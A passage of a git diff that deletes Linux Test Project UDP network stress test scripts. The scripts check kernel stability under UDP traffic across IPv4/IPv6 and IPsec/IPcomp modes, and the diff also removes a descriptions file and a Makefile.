Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport02 b/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport02 deleted file mode 100644 index 0ce757bf..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffport02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# - The version of IP is IPv4 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp4-multi-diffport02 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport03 b/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport03 deleted file mode 100644 index 44fdc070..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffport03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp4-multi-diffport03 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04 b/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04 deleted file mode 100644 index 41d933f1..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffport04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# - The version of IP is IPv4 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp4-multi-diffport04 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport05 b/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport05 deleted file mode 100644 index 31a59375..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffport05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp4-multi-diffport05 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport06 b/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport06 deleted file mode 100644 index 50666e08..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffport06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# -# - The version of IP is IPv4 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp4-multi-diffport06 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport07 b/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport07 deleted file mode 100644 index 74a908b7..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffport07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# - The version of IP is IPv4 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp4-multi-diffport07 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport01 b/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport01 deleted file mode 100644 index fdebb2bc..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport01 +++ /dev/null @@ -1,56 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffport01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp6-multi-diffport01 - -# The version of IP -IP_VER=6 - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport02 b/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport02 deleted file mode 100644 index c7c948ee..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffport02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp6-multi-diffport02 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport03 b/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport03 deleted file mode 100644 index 69266e3b..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffport03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp6-multi-diffport03 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport04 b/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport04 deleted file mode 100644 index 5022393d..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffport04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp6-multi-diffport04 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05 b/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05 deleted file mode 100644 index 4c7f97eb..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffport05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp6-multi-diffport05 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport06 b/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport06 deleted file mode 100644 index e8545386..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffport06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp6-multi-diffport06 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport07 b/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport07 deleted file mode 100644 index f0896dd2..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffport07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=udp6-multi-diffport07 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/00_Descriptions.txt b/ltp/testcases/network/stress/udp/uni-basic/00_Descriptions.txt deleted file mode 100644 index 38ac52df..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/00_Descriptions.txt +++ /dev/null @@ -1,55 +0,0 @@ -Verify that the kernel is not crashed with receiving and sending UDP datagram with the following conditions - -udp4-uni-basic01 - IPv4 - -udp4-uni-basic02 - IPv4 - IPsec [ AH / transport ] - -udp4-uni-basic03 - IPv4 - IPsec [ AH / tunnel ] - -udp4-uni-basic04 - IPv4 - IPsec [ ESP / transport ] - -udp4-uni-basic05 - IPv4 - IPsec [ ESP / tunnel ] - -udp4-uni-basic06 - IPv4 - IPcomp [ transport ] - -udp4-uni-basic07 - IPv4 - IPcomp [ tunnel ] - -udp6-uni-basic01 - IPv6 - -udp6-uni-basic02 - IPv6 - IPsec [ AH / transport ] - -udp6-uni-basic03 - IPv6 - IPsec [ AH / tunnel ] - -udp6-uni-basic04 - IPv6 - IPsec [ ESP / transport ] - -udp6-uni-basic05 - IPv6 - IPsec [ ESP / tunnel ] - -udp6-uni-basic06 - IPv6 - IPcomp [ transport ] - -udp6-uni-basic07 - IPv6 - IPcomp [ tunnel ] diff --git a/ltp/testcases/network/stress/udp/uni-basic/Makefile b/ltp/testcases/network/stress/udp/uni-basic/Makefile deleted file mode 100644 index 7f6ae674..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/udp/uni-basic testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := udp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic01 b/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic01 deleted file mode 100644 index a15c32f4..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic01 +++ /dev/null @@ -1,331 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-uni-basic01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# - The version of IP is IPv4 -# - IPsec is not used -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-udp4-uni-basic01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed with receiving and sending UDP datagram with the following conditions" - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -# The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Kill the udp traffic server - killall_udp_traffic - - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Clean up each interface - initialize_if lhost ${LINK_NUM} - initialize_if rhost ${LINK_NUM} -} - - -#----------------------------------------------------------------------- -# -# Setup -# - -# Unset the maximum number of processes -ulimit -u unlimited - -# Output the informaion -tst_resm TINFO "- Test duration is $NS_DURATION [sec]" -tst_resm TINFO "- Version of IP is IPv${IP_VER}" - -if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac -fi - -# name of interface of the local/remote host -lhost_ifname=`get_ifname lhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL -fi -rhost_ifname=`get_ifname rhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remote host" - exit $TST_TOTAL -fi - -# Initialize the system configuration -do_cleanup - -# Call do_cleanup function before exit -trap do_cleanup 0 - -# 